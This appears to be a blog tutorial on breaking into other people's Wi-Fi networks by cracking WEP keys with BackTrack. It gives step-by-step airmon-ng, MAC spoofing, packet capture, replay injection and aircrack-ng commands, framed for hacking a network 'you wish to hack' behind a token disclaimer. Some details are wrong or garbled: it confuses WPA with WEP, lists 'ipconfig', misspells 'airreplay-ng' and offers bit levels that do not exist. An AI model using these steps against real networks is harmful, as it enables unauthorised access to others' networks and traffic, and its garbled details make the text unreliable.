Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections (as if you didnt know..),Wifi has become an integral part of our lives today. Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN’s by encrypting data over radio waves,however, it has been found that WEP is not as secure as once believed.Now almost anyone can hack into a Wifi network by generating the valid WEP key using Bactrack. Read on to learn how..
Disclaimer: This tutorial is given for educational purposes only and that for any misuse of this information; the blogger cannot be held liable.
GETTING BACKTRACK
BackTrack is a slax based top rated Linux live distribution focused on penetration testing which consists of more than 300 up to date tools along with the ability of customizing scripts, configuring and modding kernels which makes it a true gem and a must have for every security enthusiastic out there. The best part – Its free and you can download it from – Remote ExploitSETTING UP THE CARD AND THE CONSOLE
Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given -1 | ifconfig |
ipconfig
, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.1 | airmon-ng |
1 | airmon-ng stop [Wi-Fi Card name(without the quotes)] |
1 | macchanger –mac [Desired MAC address] [Wi-Fi card name] |
1 | airmon-ng start [Wi-Fi Card name] |
DUMPING PACKETS
Once you have set up all the parameters, you need to sniff and dump data packets in order to get the key. You can do so by using following commands. On the command console type these commands -1 | airodump-ng [Wi-Fi card name] |
1 | airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name] |
SPEEDING UP THINGS
However packet dumping is quite a slow process, we need to speed up things to save our time. Open new console after the first data packet has been stored and type the command in the new console and execute it.1 | airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name] |
REVEALING WEP KEY
Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.1 | aircrack-ng –n 64 –b [BSSID] [Filename without the extension] |
XX:XX:XX:XX
It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:
1 | aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension] |
e.g.
1 2 3 | aircrack-ng –n 32 –b [BSSID] [Filename without the extension] OR aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc. |
Cheers..
Read more: DragonHackers Blogspot | Tutorial Blogger | Tutorial Internet | Tutorial Computer http://dragonhackthis.blogspot.com/ Under Creative Commons License: Attribution
0 comments:
Post a Comment